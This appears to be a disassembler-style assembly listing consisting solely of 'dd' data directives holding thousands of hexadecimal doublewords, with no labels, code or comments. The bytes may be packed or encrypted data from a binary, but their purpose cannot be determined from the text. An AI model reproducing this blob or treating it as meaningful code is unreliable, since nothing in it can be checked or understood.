		dd 160F76F8h, 0D9802614h, 8DED0243h, 60FCDD00h,	0E7D63137h
		dd 82F2033Eh, 7F3C8AFh,	8472D5E8h, 6A29A000h, 81A2DB10h
		dd 0AC7605D2h, 80D7FFBCh, 2C7C2DDDh, 1DD6F458h,	10B0AB90h
		dd 0F16F9A9h, 1DF65428h, 0E4923A80h, 0CA00AC82h, 0EFADE299h
		dd 3E705A2h, 59576077h,	2190AAD4h, 9000DF4Ah, 55DD9F1Eh
		dd 38E07F26h, 6980279Bh, 63562B9Ch, 2F01AC9Dh, 4B3E3BF5h
		dd 9973FF8h, 661E31h, 77D43580h, 0BB0EF749h, 9D369CA8h
		dd 0A0CA9E4Fh, 0ABC094E1h, 122E006Dh, 859D447Bh, 150027FAh
		dd 7088CF8Fh, 3916607h,	2C250362h, 52D86DD9h, 15005A51h
		dd 9ABCBD46h, 1AC1C4Bh,	3AD08EFCh, 0D02EB3A3h, 0C900B088h
		dd 6EA4F0EEh, 115E89h, 7FCCA645h, 3897BBBAh, 0FB2D1B00h
		dd 0DBCE968Dh, 13FE0092h, 692CC027h, 0D4006D06h, 2EA8E79Eh
		dd 0E2B2A59h, 0D8ECA9F9h, 0A77741E0h, 5200DCC8h, 3F6EFC93h
		dd 1D3AC0AAh, 0A3512Fh,	0EC2AFF44h, 0D400ABA8h,	0F69A4760h
		dd 63990h, 614FA97Eh, 0F5C2BB03h, 1437F43Ah, 0E32350h
		dd 5FDB2C69h, 605E87h, 67D12225h, 8D37A9EBh, 5096C130h
		dd 1C01E432h, 0C0F8DB99h, 7911BFC9h, 4E24C863h,	661E262Fh
		dd 0F18C6D40h, 584F2h, 0ED8FE90Ah, 52B7CDB0h, 2E073A04h
		dd 0C8080FAh, 4F335h, 0F55398A5h, 543D6C09h, 0FD3F3400h
		dd 0B7023979h, 9EAB009Bh, 0F4361FECh, 76002B13h, 5016A072h
		dd 76287C2h, 0F37F3F24h, 563590BDh, 6F000CA1h, 3CFDA42Ch
		dd 7075825h, 47BF3781h,	0F3562079h, 0F413C053h,	0FA00D023h
		dd 5A15548Ch, 7C290719h, 0F050FFBEh, 0C8386D58h, 462A9000h
		dd 93FC4099h, 0EEEB0095h, 853B02CDh, 0B870E614h, 46C26B00h
		dd 0A9D2C9CBh, 12AA98CCh, 0B8CE57D3h, 8B47004Ch, 3EC9183Fh
		dd 0AE172406h, 4C320686h, 8C70198Dh, 833A4F01h,	3EC8DF8Eh
		dd 30D1B1ECh, 76203D41h, 0BA003F7Dh, 835FF655h,	0FCFE8A52h
		dd 0C0BE3EC8h, 66413880h, 0E5706ADCh, 2506AD00h, 510C8060h
		dd 0B1D313D0h, 0C5480B95h, 7FB8DE80h, 0DF07F2F8h, 3E9E1DBh
		dd 0C812ABC0h, 72F4024Ch, 70458FD8h, 971676C0h,	0CC90C071h
		dd 2AD3082Eh, 3FC0441Eh
		dd 0A0BD7649h, 9489007Ch, 0C4FE866Dh, 260023E7h, 85F29D10h
		dd 2C32580Fh, 0E678AAh,	1168A941h, 630E46A2h, 2788DF29h
		dd 9E8CA328h, 0AC8F00B0h, 1A769FA0h, 0A5009B9Ah, 4169CDD9h
		dd 0D6ECB1h, 12D860D2h,	369DE371h, 1E79A10Fh, 0F98B03FDh
		dd 0BF38F0ADh, 0F7CC00CBh, 0E3943722h, 0B9005DA4h, 0C815F093h
		dd 1FB2DD54h, 4A53907h,	802DF30Dh, 0FFFC7F7Ch, 36574700h
		dd 6D777C18h, 0B66C00E5h, 0F11CAC48h, 7509A991h, 7988ABCh
		dd 0E0DEFE88h, 24E3D9CBh, 81410032h, 74B1DB6Fh,	0A5007116h
		dd 621B69C4h, 1CC9A445h, 85F6EFFFh, 0C06802EEh,	0A61524BEh
		dd 0CC0013F4h, 0DD39DDBh, 3DD8C870h, 41006451h,	670C351Ch
		dd 4700279Fh, 9AC6E911h, 0ECC7ACh, 0C571A51Ah, 4633FD4Dh
		dd 38D14900h, 15254EE5h, 0BD6E0070h, 50390552h,	0A07CA9A7h
		dd 5CD2A809h, 0E18804Bh, 30F109DDh, 7104EDFh, 93EC2C85h
		dd 990F640h, 1CCB265Ah,	86009A0Eh, 6CC0FB33h, 80B3B737h
		dd 32600FE7h, 3D105808h, 0BA864F80h, 20B51949h,	332330E9h
		dd 0A9C24C00h, 2955614Eh, 0E9B70013h, 0F2269678h, 5F24F3C4h
		dd 0E80F849h, 15407928h, 371E0048h, 17E55A7h, 0F2167F62h
		dd 0BA2CE4h, 0EF0D39E7h, 0EE00CB82h, 26B0655Ch,	3DB5834Bh
		dd 3B8B33CFh, 2C0FC025h, 472B5120h, 39009AB3h, 4C52BA88h
		dd 82BC8Eh, 6AC03237h, 2941333Fh, 0BF2DAA3Bh, 951304Fh
		dd 6D645Bh, 6861465Eh, 0CF1BA749h, 0E72C60E7h, 0A6227600h
		dd 80D5F764h, 6855003Ch, 0A1B99992h, 27004C3Ah,	6EDD504Dh
		dd 1FE05B5Eh, 4053658Dh, 69156C16h, 3624CB9Eh, 3F120401h
		dd 0BCA9B900h, 3BFEF847h, 0B700DDDBh, 89E5AE16h, 54B0FD7Fh
		dd 0C0148602h, 60B10FD4h, 77B5BCh, 0B687E8F0h, 172191C5h
		dd 0B383B00h, 0FD78B419h, 402800F1h, 5F87A3E5h,	0C73E2F3Ch
		dd 124501FCh, 26169B8h,	40D8BB42h, 35CBD4h, 0B0BF1047h
		dd 121CF652h, 25D7DE0Ch, 2C18D91Ah, 11F60A2h, 0EA198341h
		dd 4E1880B4h, 53400FDEh, 890B0029h, 0AB9D3246h,	0F476F6C5h
		dd 9E6CEF0Eh, 0BE62C0EDh, 0B93A76h, 1D08BD56h, 0F1FA0C7Bh
		dd 0DF928E00h, 2DCDF7D3h, 0BF31C53h, 3E120F6Ah,	7A15F20h
		dd 0C8007494h, 0B8CC9297h, 486399A3h, 0EC71C28h, 370790EFh
		dd 0E4099660h, 171DFh, 6EE7751Dh, 0AFF73A5Bh, 8C5EBD80h
		dd 8BC9CED5h, 9BB3A700h, 43B0CF49h, 0DB0C24D4h,	6ED50020h
		dd 0BBD2E70Bh, 0DA169900h, 0DC2CAC73h, 509700A3h, 519E8AE0h
		dd 88030961h, 1BEE0ACDh, 7D090073h, 66BA0C04h, 29040B01h
		dd 0B0AEBBC7h, 16602087h, 377CB44h, 320E3C46h, 6AB3234Eh
		dd 797542A8h, 7A17BB00h, 2F911662h, 6875D7h, 51574D5Bh
		dd 9DECF965h, 38E3721Fh, 18D292C0h, 10A0C63h, 0B076E8Dh
		dd 70D8013Eh, 0DA00EF87h, 345B3B62h, 95837E3h, 7188E02Fh
		dd 0BEC03C8Eh, 0A547C60Ah, 44B4CA03h, 0F2C5AFA0h, 9D0C4804h
		dd 14D709Bh, 75544326h,	0DC9141D9h, 2D7A8A97h, 79CAD600h
		dd 0E59DEDDCh, 0F12F0261h, 6FC7775Ah, 5B2BF180h, 7E0F1204h
		dd 0E02E9AB0h, 85BFB147h, 0D8380716h, 0B092A9BBh, 21667B3Eh
		dd 19FA3009h, 0E3B48F97h, 78757C48h, 73917888h,	0B6AC0250h
		dd 972A0E4Fh, 0FFF178E0h, 0F8C4F602h, 8E502BF9h, 96E1E618h
		dd 0E2150649h, 8214E9Ch, 0F21DF300h, 2F8978CCh,	0C9110041h
		dd 6508FA8Dh, 0A000B473h, 68932718h, 5CBBA7Ch, 0E0FEE842h
		dd 454C4017h, 2E0926D7h, 1955A400h, 0A7ABF08Dh,	0D5F81FFBh
		dd 496AC051h, 87F2DAA2h, 7E42F73Eh, 0AC10972Ah,	0F8541151h
		dd 0C61DF6D7h, 0DF94845Eh, 3CB38034h, 7DADB5DCh, 0AA0800B0h
		dd 36FDC243h, 0CB0327FCh, 0DB768B02h, 0E859B857h, 0E1C500A1h
		dd 0EA47F943h, 0DF008299h, 8B9781AAh, 0BFA5D3h,	0DBB6C7A8h
		dd 94ED8E7h, 0DE1DD7F6h, 9840BAD0h, 0AAB3EE2Ah,	0A0DC03A7h
		dd 0ABB52995h, 89DD21F0h, 0FA511B00h, 446690EAh, 8D6B00B7h
		dd 6872B10Ah, 0AB3D7E17h, 0BBD400A8h, 109D24E0h, 4E77E3h
		dd 9ED17071h, 0AFEBFDF2h, 73488B09h, 2DC600E9h,	0C44CD2h
		dd 21CB8924h, 51636F03h, 16950D00h, 4379924Dh, 0E3CE011Eh
		dd 0C607816Ah, 8A21E8h,	0BE9DCA90h, 41A06E00h, 515B52D1h
		dd 7A840F3Bh, 0C7C08D95h, 4D754AAAh, 0EF80F500h, 0F18258D7h
		dd 2ED807F4h, 823E065Ch, 0AEE0AAFAh, 8700A868h,	1D6F8F14h
		dd 0C8DBAFh, 0E6BF3CD1h, 48EC7915h, 3E9B3100h, 0E45577F1h
		dd 0AD7A00E0h, 0B017EB10h, 500057B9h, 8164D82Dh, 0FEB7798Eh
		dd 336B0730h, 0D0038DF4h, 0BF79D7Bh, 0C5CC617h,	0AAD4285Eh
		dd 3CB8AB04h, 0E2864A00h, 0C61A6E7Fh, 0C3E77E0h, 0FE208F0Dh
		dd 2B26D828h, 0E91C040Eh, 0AF624DC0h, 7F7232h, 88D971Ch
		dd 0D127AEA8h, 290AD631h, 0C8114F1Fh, 0FC04DE99h, 12F81921h
		dd 9A9F1023h, 0B908D089h, 8437F644h, 429C7122h,	0F40F11C4h
		dd 214CDB11h, 37E526F0h, 0EF45F829h, 96992804h,	814AC4Ah
		dd 42BAF36Ch, 11915111h, 5E11A080h, 72202h, 847FC140h
		dd 0E26A4BE6h, 116D8C03h, 0A8F7349Ah, 0FB58B7h,	0DD5E5D4Dh
		dd 0FE9DCFBFh, 0B56E3903h, 0F315189Ch, 0FAE4D9A6h, 0FBAB2AD4h
		dd 0F2925A70h, 375B3BF7h, 0CED96580h, 71E0FB98h, 77B03B00h
		dd 1BE4A648h, 2F0B0043h, 82427DA5h, 0FA00C9E9h,	0D9242579h
		dd 76978CE4h, 0DD19C09Dh, 0BEE648EFh, 5AC57000h, 3C7E379Ch
		dd 886500A6h, 287204CEh, 0DE3A17E4h, 606800D4h,	0AC2C8EEDh
		dd 0B15C00E8h, 459B7EB6h, 4300E375h, 0B803D32Eh, 0B5ECFCh
		dd 0CF8C7CA1h, 46A6055Ah, 0B748AD07h, 8A601D7Fh, 1D19C08Dh
		dd 2B1504Eh, 0F9BE4479h, 32074848h, 1207877Ch, 19A73BE2h
		dd 1C6484C0h, 0CD7C006Ah, 307FC8EEh, 0BA006E71h, 0FF3F35CEh
		dd 3CD34FD4h, 0D07E490h, 8099A974h, 16735E14h, 47603FF6h
		dd 6DF9A078h, 1CD02030h, 40C31E3Ah, 0CB40145h, 2CA46C2Dh
		dd 0EB84554Dh, 26089A80h, 0BA111F8Fh, 3718F25Ah, 2F023CE0h
		dd 2E0EA5F8h, 0E2B70F7Eh, 80ECFE28h, 1EBD0DB0h,	0D3220787h
		dd 10F892F0h, 8F3D2AB2h, 4A969400h, 574CF620h, 0F4970068h
		dd 0BEF9808Ch, 86003E16h, 0CBFB8DD9h, 171DC8h, 0C3825F6Dh
		dd 9171A010h, 11D9FC00h, 294823ACh, 854E0087h, 33CDB1E0h
		dd 960E01CBh, 0A36428FCh, 2C1ADh, 75AAE4B6h, 36E72D5Ch
		dd 91EA0900h, 30265B67h, 7A88E652h, 0A85A009Eh,	0C092C4FEh
		dd 0E704D80Bh, 9CA399CDh, 98D318C3h, 2E5FF5F4h,	5A9284h
		dd 0E649FBA2h, 260186DAh, 8BA57E0Dh, 0A8405331h, 636540h
		dd 1F3B470Eh, 0F552DC72h, 7F5ABD3Bh, 6705FA00h,	0A848309h
		dd 914558A5h, 0FE80B13Fh, 581B6B24h, 0F20086C2h, 0C68CA928h
		dd 466713h, 60E6AE7Eh, 5B1EC881h, 3FF2A703h, 0C0697C5Eh
		dd 12CB1Fh, 9C61B0B9h, 0DFEE308h, 0DB271400h, 60A09811h
		dd 1C809AFDh, 8065DE80h, 3E874B9Ah, 0FCA823CDh,	0CB011BC9h
		dd 0A9203B8Fh, 44C0DCECh, 302809A8h, 81F7919Ah,	0A327707Fh
		dd 0CE0B3080h, 18B310C7h, 783CF400h, 0A956D597h, 0C05E0041h
		dd 0BAB15D07h, 0FB00B49Dh, 7755FF5Ah, 138FE8Ah,	0AD047523h
		dd 861B1C79h, 9A89970h,	0C1ED004Eh, 0D97E322Eh,	5100AA36h
		dd 0BC4F7887h, 78644B1h, 0FC259850h, 1DA00055h,	0A6000719h
		dd 783E5962h, 8B1831h, 0AE8F463Dh, 0E9EBC230h, 0A9D9B626h
		dd 0B8862700h, 6EEDDBh
		dd 0A0761E40h, 0EA8D411Bh, 0A93E1402h, 0D74FBB35h, 0DC651E40h
		dd 1711E100h, 32713184h, 48E973B2h, 870214CDh, 9FA7A0EBh
		dd 9B501F00h, 0B57FFA10h, 0CFE0FC63h, 360EB22Fh, 63991B6Dh
		dd 0D8856009h, 45C031h,	7B20DF79h, 0D3844B0Fh, 0E921A90Fh
		dd 42FAAFEEh, 427653B9h, 0AA5D8014h, 1BC6885h, 469BAD8Ah
		dd 48DF1967h, 0AE0042E4h, 896F0723h, 3B2B9C49h,	1300B2A6h
		dd 0E28F651Ah, 24983DCBh, 0A3835A00h, 85BF4A4Dh, 240A3989h
		dd 8DA2E30Fh, 0E51DD600h, 0E4C69CBh, 6EB5012Ch,	14AD6112h
		dd 20481087h, 90F0D970h, 0D3C42912h, 0C043ECC0h, 0C14970D9h
		dd 8E0D9F28h, 0D839C48Ch, 0F7D61907h, 0A5700FD5h, 985B1007h
		dd 0D7E4015Fh, 0C45A4595h, 0EF3880BDh, 0D0578BB7h, 53E70708h
		dd 4B46ECC0h, 0ABF2D500h, 0FF02C7A0h, 97DAF0A3h, 260D0FDh
		dd 6A090FB7h, 94466DA6h, 4C230820h, 9F149E92h, 0A61F916Eh
		dd 13E6CF52h, 0ECD468E0h, 300641Ah, 0FC7401D3h,	4D56FA1Bh
		dd 6B05901Fh, 595CBA7h,	0C99F0h, 0FAF40E60h, 34E6CEE4h
		dd 0C002E307h, 6C500F62h, 630935h, 0AC8F9F37h, 8306332Ch
		dd 77CF8901h, 5F8D2712h, 1B82D4h, 3F4E6B11h, 0DB4B7194h
		dd 0E2E3E016h, 0CC867C01h, 0DFE888CAh, 30E900C1h, 8D0BCBECh
		dd 2D0040C6h, 57DEC236h, 0E3E493h, 9B414DE5h, 0BBEE1BC1h
		dd 4CB9C501h, 7FA0C7D9h, 733EC4h, 9902493Bh, 646E863Dh
		dd 7B798900h, 0D0B23F0Bh, 0C52928A5h, 0EFB400E4h, 0FE868523h
		dd 693924CFh, 0C0CD009Fh, 0A3EB0516h, 0F35300BBh, 14526F51h
		dd 0F61CFFD2h, 18CE2EFEh, 42405F56h, 508883C5h,	0DFB900ECh
		dd 48A61ADBh, 2D03A994h, 6B6C39B2h, 0B7E1D8C9h,	0E4B04Bh
		dd 0A75CD797h, 7933FDD8h, 80206B3Bh, 0BFF4CF2Eh, 3D2BEB95h
		dd 8D00F3C1h, 60FCC2E3h, 6B005B82h, 0ABD6A9AAh,	0EF623Bh
		dd 7C174C59h, 0A83206AFh, 127F0D1Fh, 0DC877DDCh, 1750AD9Fh
		dd 6302B63h, 6FB11173h,	7E0058C4h, 9F671275h, 0ECA416Dh
		dd 0A22E9305h, 9DE7001Fh, 0BE630F72h, 0A1A86E07h, 0E2B064C7h
		dd 7CF2Bh, 1CFA1965h, 839AC4DFh, 2072EB24h, 80D53109h
		dd 772C96FCh, 854F3C0Bh, 0CF24BA80h, 37DA47F0h,	43A1AB00h
		dd 6633CB55h, 5F540014h, 0F3736E8Eh, 5B3B562Ch,	0D9C10132h
		dd 68494C77h, 17E13420h, 201BF058h, 0B745F514h,	2697EE05h
		dd 0A0D014ECh, 15F3C6Bh, 0D6A61D3Fh, 0E49470FFh, 2C980DDCh
		dd 26A8B23Bh, 0D025B495h, 24FE0Fh, 0A3F6D47Bh, 38B7EDC3h
		dd 1AEAEF01h, 0A42E6747h, 0FF4840DEh, 0A0AD01D5h, 64E0144h
		dd 0A5B0745Ah, 2FDF6700h, 751361CEh, 0E1F50FF6h, 8540F215h
		dd 1EA16D1Bh, 52554200h, 0F6F83FEh, 6ED20030h, 0A874DA06h
		dd 0B3131462h, 0DC045E50h, 0B4801113h, 70297Ah,	3BED72AFh
		dd 83D97BD8h, 0B16B1C00h, 3088E495h, 0C2770ED4h, 2B25D62h
		dd 52929038h, 64236CE0h, 0CC8B6F00h, 5C7368D7h,	0DD8200C5h
		dd 0C76DD0FFh, 374CB7F1h, 0CC0A0718h, 0AB23ECE2h, 987B8BA4h
		dd 1243C993h, 97465E1h,	0A30ED314h, 0CB6A4240h,	0AC0F62EBh
		dd 61363C0Ch, 0D9DCA99Ch, 0B48D4080h, 0A10F46C7h, 0E1C61205h
		dd 0BFC1AC47h, 17DC50D5h, 165F021Dh, 71237B92h,	0DD691840h
		dd 4049F200h, 0E4E28C34h, 0B2C7078Eh, 0E028F69Ch, 0F8C33FB3h
		dd 135FCD00h, 77BCCE19h, 95D600B7h, 0FEF7EA1Dh,	0D9018722h
		dd 0D7DC91CFh, 0B9005152h, 0AD02078Bh, 33D63429h, 7D5BE0D9h
		dd 0EB5C0226h, 3AC2D709h, 9E9AC4C0h, 0C6E82F54h, 31CD0C00h
		dd 825A03C8h, 0A8940195h, 0D4E23F71h, 40C03406h, 0A36D1802h
		dd 402ED72Dh, 610A01F0h, 1366F26Bh, 0CCA03094h,	0F635D300h
		dd 73598076h, 2EF53D6Eh, 0BC9F4D8Bh, 0B9E1EC00h, 69008D55h
		dd 947561Dh, 16F6AEE3h,	1D4FBDF8h, 0F7B50019h, 0C339F2ABh
		dd 878D6200h, 367F845Ah, 0FEB82Dh, 1A9E2A51h, 23EE7957h
		dd 0FCB5A503h, 88FB31B3h, 1603DCF2h, 77EF87Bh, 67DBBF67h
		dd 9E32F2BEh, 0D42BAEC1h, 700F0409h, 0A13CDCCEh, 1FA7C7Dh
		dd 0C0EA0CE4h, 597C8F0h, 343F6F44h, 0D59680B4h,	0DDBFD280h
		dd 0E0EE07FBh, 0B094D762h, 13645144h, 0F8B37800h, 0AA89062Ch
		dd 61EAC4h, 9435147Dh, 0CB79E712h, 8F0BD890h, 2AE1CEE3h
		dd 60020ECh, 43F14941h,	16B200CDh, 0EDB9350Dh, 2612518Eh
		dd 901DF352h, 0B653DC0h, 3E91D4h, 0C7F475B4h, 8D1FD189h
		dd 61EB7700h, 0BE70C234h, 8466123Fh, 390A04C3h,	0C4E88007h
		dd 0D1F4DFFEh, 0D5995702h, 604669E8h, 2AC2CCh, 8A33F8E3h
		dd 0CED613ACh, 479AA000h, 755F143Dh, 3C7122Ch, 9600078h
		dd 0E4E99344h, 85AE8D1Ch, 0D46CEE40h, 3C955BFh,	0E5B95EFEh
		dd 32C82D18h, 9B00ECB8h, 0F68CD617h, 0C0DE8B3Ah, 30F9A872h
		dd 3212FCEEh, 60026DB3h, 5A66D159h, 7F2028Ch, 0CF68622Dh
		dd 0DC3520C9h, 86000D97h, 65A2D8F5h, 0A93C188h,	3AB35EE7h
		dd 0C0C49F94h, 0AA8C8B6h, 7F006E45h, 0DB6AD24Fh, 0F8039D04h
		dd 78F40088h, 0B370A61Bh, 68005C98h, 85773FEAh,	8FA455h
		dd 0BD2A328Dh, 4269168Eh, 1B56CC05h, 0A080D78Bh, 0A845554h
		dd 2E212663h, 0C8FF00F8h, 6677602Dh, 0C4C938h, 0D1B8D533h
		dd 77F172B0h, 0D05E005Fh, 36B2F8D9h, 0A51F20AEh, 0C0825021h
		dd 60473F9Ah, 3468E0h, 2D0CB24Bh, 8A785C95h, 0BFC78400h
		dd 0D70737ACh, 73260045h, 31C3A4EBh, 0F37CFE08h, 0B7153301h
		dd 6AC1EEF5h, 510BB240h, 0CFB019Fh, 91E075A9h, 649DD42Eh
		dd 0A60AAA00h, 0A2AC59E6h, 0A7A0162Ah, 9804EB93h, 0A0F09A01h
		dd 864F022Dh, 1FDD78D5h, 7BCC1040h, 1D370090h, 10B0A1B4h
		dd 5B8D4Eh, 0A7F521AEh,	28659267h, 6368F8EFh, 8A12F101h
		dd 886FEA1Eh, 0A458DEh,	0AB77F5EDh, 7DBB890h, 0D0B6B72Fh
		dd 87632CFCh, 51B07F4h,	36EEA001h, 0D1E5AA56h, 5CF840A5h
		dd 7F031572h, 86AD3578h, 734F046h, 6C9827h, 3DC41773h
		dd 0D4B88B2Ch, 0A5391D72h, 140E0F58h, 85E80060h, 2406941h
		dd 0E4CF91C7h, 6FC0D213h, 0CE04D43Ah, 9551A19Dh, 3E708A0h
		dd 0F3F10348h, 92C8AE76h, 3500B797h, 23554EFAh,	0B0B16581h
		dd 0C8C5A0AAh, 9771125Dh, 86088028h, 393B61E8h,	0E07A8FD1h
		dd 406CE007h, 1E3E8482h, 40F091B1h, 421B0499h, 0CD16C6DCh
		dd 0A8004FBCh, 2A911302h, 935C00B5h, 0EF0ED2CFh, 0B107406Eh
		dd 0E4A4F872h, 699C4800h, 0B2A50430h, 0E0D62BBDh, 0BFED300h
		dd 2FD87954h, 1F50CEB0h, 5C004EEEh, 1B932AEh, 90B51CA1h
		dd 0BABE000Ch, 7A252942h, 8A70A4CAh, 0C20087FEh, 0F3365F17h
		dd 9976029Bh, 6743F400h, 0C9231600h, 0E5C7CAE1h, 5027441Eh
		dd 82F791C0h, 0EFE4D7h,	0EA5AE06Bh, 71156F68h, 9A1938h
		dd 4D0E0F9Dh, 855E17h, 282A0BA9h, 0F6FEFC06h, 0ACF3230Ah
		dd 0BA0190DAh, 0FBF9BD38h, 2F62B1EBh, 5AFF80C4h, 0C0380332h
		dd 0D0921F08h, 6B5390C0h, 909CCCB8h, 43FF9D00h,	1C82E20h
		dd 2B850599h, 246946BFh, 0E025509Ch, 81988313h,	2580A78Ch
		dd 3C18CE76h, 419FE674h, 636007B1h, 777BE04Dh, 71059F6Ah
		dd 66892383h, 460F40C0h, 4DB2071Ch, 9306E3B4h, 0B5C0F9A5h
		dd 0A00AEBFh, 4EDABAA2h, 0C04172h, 0A6E68AAAh, 92D5646Bh
		dd 0A4D8EE02h, 0F8F8D6F6h, 65830788h, 0F18C8BA5h, 0CAAF32C2h
		dd 6B005870h, 11BA7677h, 1E15517h, 612294E2h, 0E884B395h
		dd 0EFF46DAAh, 33C74200h
		dd 0EAC4A1ABh, 90F87455h, 0D51A0C64h, 93E98FB6h, 3E7C0701h
		dd 2E786286h, 23856883h, 0A6E9EC97h, 8E312044h,	7BE91400h
		dd 5E4AB9Eh, 0BFC41D40h, 0ED4C0C54h, 0C5006228h, 0E987AC1Ch
		dd 248C3827h, 681247h, 69601BD9h, 3A3DF290h, 42B21EBAh
		dd 5ABB3740h, 0E8E5E4FBh, 8F17014Ch, 0D3597407h, 37C07E83h
		dd 2FDF61h, 11722423h, 5235CC58h, 8DA9C201h, 0A0B6513Dh
		dd 94256C8h, 81BAB7AFh,	6D4CF8A1h, 391EC81Ch, 880E250Eh
		dd 581703D6h, 0BC73D04Fh, 1D4B00F3h, 0DAB8E9B9h, 0DC4C37E0h
		dd 1910197h, 0A8C6401Ah, 9EA4824h, 4517A198h, 4C50F880h
		dd 689C84F3h, 0F85B1Ch,	7A3BE7E1h, 0FE5E5834h, 865C3B89h
		dd 0D16F8180h, 90A810D2h, 0DD3F5FE4h, 1EDE80ACh, 0F8288B61h
		dd 6C9B5862h, 16E71A00h, 0D8D910F9h, 7968A000h,	0DDE99654h
		dd 0B7710099h, 29AD460Dh, 0B907221Dh, 1E8EC0BCh, 0ABEC09E0h
		dd 28DB00F9h, 0CD8B5089h, 2E03580Bh, 2372269h, 0E108953h
		dd 8A83FCh, 18B85C01h, 0C9A3C6CAh, 0E3D92600h, 6DEECE28h
		dd 2DF4006Fh, 64F6E21Eh, 7905011Ah, 0C1F5263Ch,	0CB625A80h
		dd 3812000Dh, 0B9D31C51h, 53E2425h, 6111017Ah, 48B2EF58h
		dd 4A19CCh, 0BEC0AAB4h,	0A20B3195h, 0E7C9F800h,	822BDAEBh
		dd 60360789h, 900F235Ah, 0ADC3F678h, 3972BE00h,	920AFDF3h
		dd 75769Bh, 10A0464Eh, 85C2145Ch, 23D4D200h, 55439EA3h
		dd 1AF40396h, 863BB32Ch, 0A28872CBh, 0DC008401h, 30700582h
		dd 0B6204Dh, 27E64E1Eh,	0BC72FD7Eh, 281F3A75h, 220016ABh
		dd 43F87C2Ah, 707A001Ah, 0D519CE46h, 6E003F55h,	8A9ACAA8h
		dd 13B3E294h, 6F70C1h, 0D922595h, 0C307B9D2h, 4BD3A085h
		dd 0F31AF631h, 235DEB40h, 0CDEE0058h, 0CCEF9E0Eh, 17FE57AFh
		dd 0AC0035EEh, 442DBC3Eh, 0FE276A60h, 2BA0C00Ah, 8CE9DE9Ah
		dd 0ECE76F04h, 0B9076B51h, 0F4AA00EEh, 0CC0B829Ch, 86D6E219h
		dd 118041h, 0D04D8725h,	5FEEBC07h, 1DE7A514h, 640076D4h
		dd 4D5DDA9Ch, 0ECAD7EBh, 0EC5CB137h, 20064067h,	38807FFh
		dd 4F1CEE00h, 0D8E689BEh, 179F000Fh, 949ECF3Eh,	6DF4F7B8h
		dd 898E8F00h, 574FF4BCh, 1006009Ch, 13A7DE1Eh, 71742208h
		dd 832D991Eh, 0D13AA240h, 248C68D3h, 300DDC9h, 994467E9h
		dd 0CD80D0D0h, 8E02ECEAh, 1D7D2D64h, 0A04E6047h, 7160E4Fh
		dd 17200889h, 13A8700Bh, 88C27400h, 0FF03181Dh,	0C46E122Eh
		dd 0E4000010h, 47322714h, 2D91300h, 49EDE7B1h, 0E2D1006Dh
		dd 5BBE85D5h, 0EA00EBDFh, 55C26ACAh, 1D4C6291h,	0C080C5B8h
		dd 0B5CC220Eh, 7103CED8h, 1DC3A0DCh, 8A7CE867h,	2660003Fh
		dd 0C2C0032Bh, 371F7344h, 81C0625Fh, 0CF8A7AABh, 859B00A9h
		dd 0E3FB50DEh, 5D0072D7h, 0CA976FC9h, 295136h, 5B84D369h
		dd 0ECE919D4h, 6A262100h, 0C9F94C49h, 0BE77EE3h, 34DE2AC1h
		dd 6BB36480h, 480FEB0Ch, 4080CD82h, 0AEBB9FB4h,	1FB100FAh
		dd 0BD2C1CEDh, 0A000CA4Ch, 3E797CC9h, 0EC6574EFh, 84455083h
		dd 75FB00BEh, 31C96BFAh, 18B8A584h, 2E8DD000h, 29B4A312h
		dd 45F0036h, 0A966397Bh, 0B502A244h, 0F9171475h, 312840D8h
		dd 0AFD1EB28h, 0E6DD4220h, 0B2C701C1h, 7FA880CCh, 0B79840BAh
		dd 8900445Fh, 2DBF2AFAh, 0D3929Eh, 74842894h, 4511DC22h
		dd 604B9A3Fh, 413E9C20h, 0B7F10EC5h, 924FDDh, 5BB64CBEh
		dd 610F716Ah, 0E0742F78h, 151C1AE7h, 0AE470273h, 0D3623CA2h
		dd 0F871E8B6h, 0A6B5CB02h, 20E5BBD8h, 0B4451CCFh, 4E682100h
		dd 0EAC804D7h, 0FEDB03ECh, 693D8886h, 84C023FAh, 7090C3C1h
		dd 0FB07E3F2h, 0A18309D0h, 8C7431C0h, 14B27B39h, 0E85C8605h
		dd 29F50108h, 33E4E09h,	0F8B23863h, 0E803E9h, 50A539C1h
		dd 0E14E5413h, 0ADF0965Bh, 58724F8h, 0C3AE3DBCh, 7992001Eh
		dd 0FBACEA0Dh, 5BD8650Eh, 95805DA8h, 111CE7C4h,	62C500CBh
		dd 264CD056h, 0CF00466Dh, 0BB6FF779h, 988B7D88h, 7DEA7253h
		dd 9BE701F3h, 7AAEC711h, 0B7B8CBB4h, 0E1000A3Ah, 0EACF6A2Ch
		dd 0D4C147h, 0DF699079h, 3B513C8h, 4DC57700h, 0D6F52563h
		dd 21960791h, 506D234Ch, 52942D50h, 0F00086F8h,	845C7453h
		dd 58975814h, 92438A2h,	0E798009Eh, 955B06A5h, 1C750B00h
		dd 0D334E89Fh, 5F6E0703h, 1C35D60Ch, 0B001C010h, 1FC2DD9Ah
		dd 61F04799h, 0C4E40751h, 6034823Dh, 0BFF0DEC5h, 0E5505E00h
		dd 9F18D603h, 0D3E00004h, 0EE16E81Dh, 0D7913E2h, 0A2143609h
		dd 0C380821Eh, 0B8C963DDh, 1E215325h, 800C8F03h, 0CC2C9624h
		dd 5D73A8F7h, 6D11D100h, 0B9202289h, 0B6F9006Fh, 0BCC7E157h
		dd 190EAA6Bh, 0C03EB5D1h, 3B0A449Ah, 0B6962C6Ah, 65A00303h
		dd 30F887C3h, 0E8609932h, 806E1D78h, 1F5600AFh,	6BC768D7h
		dd 64F8C535h, 0C30FB603h, 3CC4CC98h, 11009E10h,	7EF3CD4Ah
		dd 7D00352Eh, 725DA021h, 233A31Ch, 0D5E0A461h, 30809B31h
		dd 866C293Ah, 21BE532Eh, 56114600h, 0A32DA0h, 0F3EA5E44h
		dd 2F402E5Ah, 0F29C40Eh, 203532h, 1310E5D2h, 5EB0766Dh
		dd 0EED2B044h, 0FAF42E00h, 88BCA7FFh, 0C3B203B5h, 7CEFD8D5h
		dd 0B08E3DA8h, 550037E2h, 610E4B56h, 392BC1FDh,	119D4301h
		dd 8B86C717h, 477D30E9h, 8F00597Bh, 0B6E78549h,	0E67281h
		dd 0E43D8717h, 12452546h, 0E5570095h, 1F8338h, 7BBB0A0Dh
		dd 0F527FDDAh, 86BAF300h, 61EC46A2h, 9CC950CAh,	3B7CD3h
		dd 60C09E36h, 31DA1737h, 7D6FD400h, 901A6EC3h, 0C20902F5h
		dd 0FF476750h, 0F9A9CE20h, 0F180548h, 0EF0D59ECh, 61E12700h
